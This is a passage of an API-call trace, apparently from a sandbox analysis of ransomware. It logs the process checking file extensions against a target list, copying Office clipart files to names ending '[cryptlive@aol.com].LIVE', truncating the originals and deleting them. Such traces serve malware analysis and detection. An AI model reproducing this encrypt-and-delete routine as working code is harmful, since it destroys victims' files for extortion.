[0158.250] lstrcmpiW (lpString1=".xlsx", lpString2="3.JPG") returned -1 [0158.250] lstrlenW (lpString=".ppt") returned 4 [0158.251] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0158.251] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145373.JPG") returned 63 [0158.251] lstrlenW (lpString=".zip") returned 4 [0158.251] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0158.251] lstrlenW (lpString=".rar") returned 4 [0158.251] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0158.251] lstrlenW (lpString=".bz2") returned 4 [0158.251] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0158.251] lstrlenW (lpString=".7z") returned 3 [0158.251] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0158.251] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145373.JPG") returned 63 [0158.251] lstrlenW (lpString=".dbf") returned 4 [0158.251] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0158.251] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145373.JPG") returned 63 [0158.251] lstrlenW (lpString=".1cd") returned 4 [0158.251] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0158.251] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145373.JPG") returned 63 [0158.251] lstrlenW (lpString=".jpg") returned 4 [0158.251] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0158.251] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145373.JPG") returned 63 [0158.251] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145373.JPG") returned 63 [0158.251] lstrlenW (lpString=".doc") returned 4 [0158.251] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0158.251] lstrlenW (lpString=".docx") returned 5 [0158.251] lstrcmpiW (lpString1=".docx", lpString2="3.JPG") returned -1 [0158.251] lstrlenW (lpString=".pdf") returned 4 [0158.251] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0158.252] lstrlenW (lpString=".xls") returned 4 [0158.252] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0158.252] lstrlenW (lpString=".xlsx") returned 5 [0158.252] lstrcmpiW (lpString1=".xlsx", lpString2="3.JPG") returned -1 [0158.252] lstrlenW (lpString=".ppt") returned 4 [0158.252] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0158.252] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145373.JPG") returned 63 [0158.252] lstrlenW (lpString=".zip") returned 4 [0158.252] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0158.252] lstrlenW (lpString=".rar") returned 4 [0158.252] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0158.252] lstrlenW (lpString=".bz2") returned 4 [0158.252] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0158.252] lstrlenW (lpString=".7z") returned 3 [0158.252] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0158.252] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145373.JPG") returned 63 [0158.252] lstrlenW (lpString=".dbf") returned 4 [0158.252] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0158.252] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145373.JPG") returned 63 [0158.252] lstrlenW (lpString=".1cd") returned 4 [0158.252] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0158.252] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145373.JPG") returned 63 [0158.252] lstrlenW (lpString=".jpg") returned 4 [0158.252] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0158.253] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0158.253] lstrlenW (lpString="J0150150.WMF") returned 12 [0158.253] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0150150.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0150150.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0158.254] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=46404) returned 1 [0158.254] CloseHandle (hObject=0x350) returned 1 [0158.254] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0150150.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0150150.wmf")) returned 0x20 [0158.254] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0150150.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0150150.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0158.254] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0150150.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0150150.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0158.255] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0158.255] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0158.255] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0150150.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0150150.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0158.256] GetLastError () returned 0x0 [0158.256] ReadFile (in: hFile=0x350, lpBuffer=0x3790020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesRead=0x2ecfed4*=0xb544, lpOverlapped=0x0) returned 1 [0158.258] WriteFile (in: hFile=0x384, lpBuffer=0x3790020*, nNumberOfBytesToWrite=0xb550, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xb550, lpOverlapped=0x0) returned 1 [0158.260] ReadFile (in: hFile=0x350, lpBuffer=0x3790020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0158.260] WriteFile (in: hFile=0x384, lpBuffer=0x3790020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0158.260] SetEndOfFile (hFile=0x384) returned 1 [0158.260] CloseHandle (hObject=0x384) returned 1 [0158.260] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0158.260] SetEndOfFile (hFile=0x350) returned 1 [0158.263] CloseHandle (hObject=0x350) returned 1 [0158.263] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0150150.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0158.264] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0150150.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0150150.wmf")) returned 1 [0158.264] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0150150.WMF") returned 63 [0158.264] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0150150.WMF") returned 63 [0158.264] lstrlenW (lpString=".doc") returned 4 [0158.264] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0158.265] lstrlenW (lpString=".docx") returned 5 [0158.265] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0158.265] lstrlenW (lpString=".pdf") returned 4 [0158.265] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0158.265] lstrlenW (lpString=".xls") returned 4 [0158.265] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0158.265] lstrlenW (lpString=".xlsx") returned 5 [0158.265] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0158.265] lstrlenW (lpString=".ppt") returned 4 [0158.265] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0158.265] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0150150.WMF") returned 63 [0158.265] lstrlenW (lpString=".zip") returned 4 [0158.265] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0158.265] lstrlenW (lpString=".rar") returned 4 [0158.265] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0158.265] lstrlenW (lpString=".bz2") returned 4 [0158.265] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0158.265] lstrlenW (lpString=".7z") returned 3 [0158.265] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0158.265] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0150150.WMF") returned 63 [0158.265] lstrlenW (lpString=".dbf") returned 4 [0158.265] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0158.265] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0150150.WMF") returned 63 [0158.265] lstrlenW (lpString=".1cd") returned 4 [0158.265] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0158.265] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0150150.WMF") returned 63 [0158.265] lstrlenW (lpString=".jpg") returned 4 [0158.265] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0158.265] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0150150.WMF") returned 63 [0158.265] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0150150.WMF") returned 63 [0158.265] lstrlenW (lpString=".doc") returned 4 [0158.265] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0158.265] lstrlenW (lpString=".docx") returned 5 [0158.265] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0158.265] lstrlenW (lpString=".pdf") returned 4 [0158.266] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0158.266] lstrlenW (lpString=".xls") returned 4 [0158.266] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0158.266] lstrlenW (lpString=".xlsx") returned 5 [0158.266] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0158.266] lstrlenW (lpString=".ppt") returned 4 [0158.266] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0158.266] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0150150.WMF") returned 63 [0158.266] lstrlenW (lpString=".zip") returned 4 [0158.266] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0158.266] lstrlenW (lpString=".rar") returned 4 [0158.266] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0158.266] lstrlenW (lpString=".bz2") returned 4 [0158.266] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0158.266] lstrlenW (lpString=".7z") returned 3 [0158.266] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0158.266] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0150150.WMF") returned 63 [0158.266] lstrlenW (lpString=".dbf") returned 4 [0158.266] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0158.266] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0150150.WMF") returned 63 [0158.266] lstrlenW (lpString=".1cd") returned 4 [0158.266] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0158.266] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0150150.WMF") returned 63 [0158.266] lstrlenW (lpString=".jpg") returned 4 [0158.266] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0158.266] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0158.266] lstrlenW (lpString="J0150861.WMF") returned 12 [0158.266] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0150861.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0150861.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0158.267] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=8494) returned 1 [0158.267] CloseHandle (hObject=0x350) returned 1 [0158.267] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0150861.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0150861.wmf")) returned 0x20 [0158.267] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0150861.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0150861.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0158.267] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0150861.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0150861.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0158.268] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0158.268] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0158.268] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0150861.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0150861.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0158.269] GetLastError () returned 0x0 [0158.269] ReadFile (in: hFile=0x350, lpBuffer=0x3790020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesRead=0x2ecfed4*=0x212e, lpOverlapped=0x0) returned 1 [0158.270] WriteFile (in: hFile=0x384, lpBuffer=0x3790020*, nNumberOfBytesToWrite=0x2130, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesWritten=0x2ecfc9c*=0x2130, lpOverlapped=0x0) returned 1 [0158.271] ReadFile (in: hFile=0x350, lpBuffer=0x3790020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0158.271] WriteFile (in: hFile=0x384, lpBuffer=0x3790020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0158.271] SetEndOfFile (hFile=0x384) returned 1 [0158.272] CloseHandle (hObject=0x384) returned 1 [0158.272] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0158.272] SetEndOfFile (hFile=0x350) returned 1 [0158.274] CloseHandle (hObject=0x350) returned 1 [0158.274] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0150861.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0158.274] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0150861.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0150861.wmf")) returned 1 [0158.275] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0150861.WMF") returned 63 [0158.275] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0150861.WMF") returned 63 [0158.275] lstrlenW (lpString=".doc") returned 4 [0158.275] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0158.275] lstrlenW (lpString=".docx") returned 5 [0158.275] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0158.275] lstrlenW (lpString=".pdf") returned 4 [0158.276] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0158.276] lstrlenW (lpString=".xls") returned 4 [0158.276] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0158.276] lstrlenW (lpString=".xlsx") returned 5 [0158.276] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0158.276] lstrlenW (lpString=".ppt") returned 4 [0158.276] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0158.276] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0150861.WMF") returned 63 [0158.276] lstrlenW (lpString=".zip") returned 4 [0158.276] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0158.276] lstrlenW (lpString=".rar") returned 4 [0158.276] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0158.276] lstrlenW (lpString=".bz2") returned 4 [0158.276] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0158.276] lstrlenW (lpString=".7z") returned 3 [0158.276] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0158.276] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0150861.WMF") returned 63 [0158.276] lstrlenW (lpString=".dbf") returned 4 [0158.276] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0158.276] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0150861.WMF") returned 63 [0158.276] lstrlenW (lpString=".1cd") returned 4 [0158.276] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0158.276] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0150861.WMF") returned 63 [0158.276] lstrlenW (lpString=".jpg") returned 4 [0158.276] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0158.276] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0150861.WMF") returned 63 [0158.276] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0150861.WMF") returned 63 [0158.276] lstrlenW (lpString=".doc") returned 4 [0158.276] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0158.276] lstrlenW (lpString=".docx") returned 5 [0158.276] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0158.276] lstrlenW (lpString=".pdf") returned 4 [0158.276] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0158.276] lstrlenW (lpString=".xls") returned 4 [0158.276] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0158.276] lstrlenW (lpString=".xlsx") returned 5 [0158.277] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0158.277] lstrlenW (lpString=".ppt") returned 4 [0158.277] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0158.277] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0150861.WMF") returned 63 [0158.277] lstrlenW (lpString=".zip") returned 4 [0158.277] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0158.277] lstrlenW (lpString=".rar") returned 4 [0158.277] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0158.277] lstrlenW (lpString=".bz2") returned 4 [0158.277] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0158.277] lstrlenW (lpString=".7z") returned 3 [0158.277] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0158.277] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0150861.WMF") returned 63 [0158.277] lstrlenW (lpString=".dbf") returned 4 [0158.277] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0158.277] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0150861.WMF") returned 63 [0158.277] lstrlenW (lpString=".1cd") returned 4 [0158.277] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0158.277] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0150861.WMF") returned 63 [0158.277] lstrlenW (lpString=".jpg") returned 4 [0158.277] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0158.277] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0158.277] lstrlenW (lpString="J0151041.WMF") returned 12 [0158.277] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151041.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151041.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0158.408] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=4356) returned 1 [0158.408] CloseHandle (hObject=0x1fc) returned 1 [0158.408] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151041.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151041.wmf")) returned 0x20 [0158.495] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151041.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151041.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0158.496] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151041.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151041.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0158.496] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0158.496] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0158.496] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151041.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151041.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0158.497] GetLastError () returned 0x0 [0158.497] ReadFile (in: hFile=0x1e0, lpBuffer=0x3790020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesRead=0x2ecfed4*=0x1104, lpOverlapped=0x0) returned 1 [0158.522] WriteFile (in: hFile=0x1dc, lpBuffer=0x3790020*, nNumberOfBytesToWrite=0x1110, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesWritten=0x2ecfc9c*=0x1110, lpOverlapped=0x0) returned 1 [0158.523] ReadFile (in: hFile=0x1e0, lpBuffer=0x3790020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0158.523] WriteFile (in: hFile=0x1dc, lpBuffer=0x3790020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0158.523] SetEndOfFile (hFile=0x1dc) returned 1 [0158.523] CloseHandle (hObject=0x1dc) returned 1 [0158.524] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0158.524] SetEndOfFile (hFile=0x1e0) returned 1 [0158.526] CloseHandle (hObject=0x1e0) returned 1 [0158.526] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151041.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0158.526] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151041.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151041.wmf")) returned 1 [0158.527] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151041.WMF") returned 63 [0158.527] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151041.WMF") returned 63 [0158.527] lstrlenW (lpString=".doc") returned 4 [0158.527] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0158.527] lstrlenW (lpString=".docx") returned 5 [0158.527] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0158.527] lstrlenW (lpString=".pdf") returned 4 [0158.527] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0158.527] lstrlenW (lpString=".xls") returned 4 [0158.527] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0158.527] lstrlenW (lpString=".xlsx") returned 5 [0158.527] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0158.527] lstrlenW (lpString=".ppt") returned 4 [0158.527] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0158.527] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151041.WMF") returned 63 [0158.527] lstrlenW (lpString=".zip") returned 4 [0158.527] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0158.527] lstrlenW (lpString=".rar") returned 4 [0158.527] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0158.527] lstrlenW (lpString=".bz2") returned 4 [0158.527] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0158.527] lstrlenW (lpString=".7z") returned 3 [0158.527] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0158.527] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151041.WMF") returned 63 [0158.528] 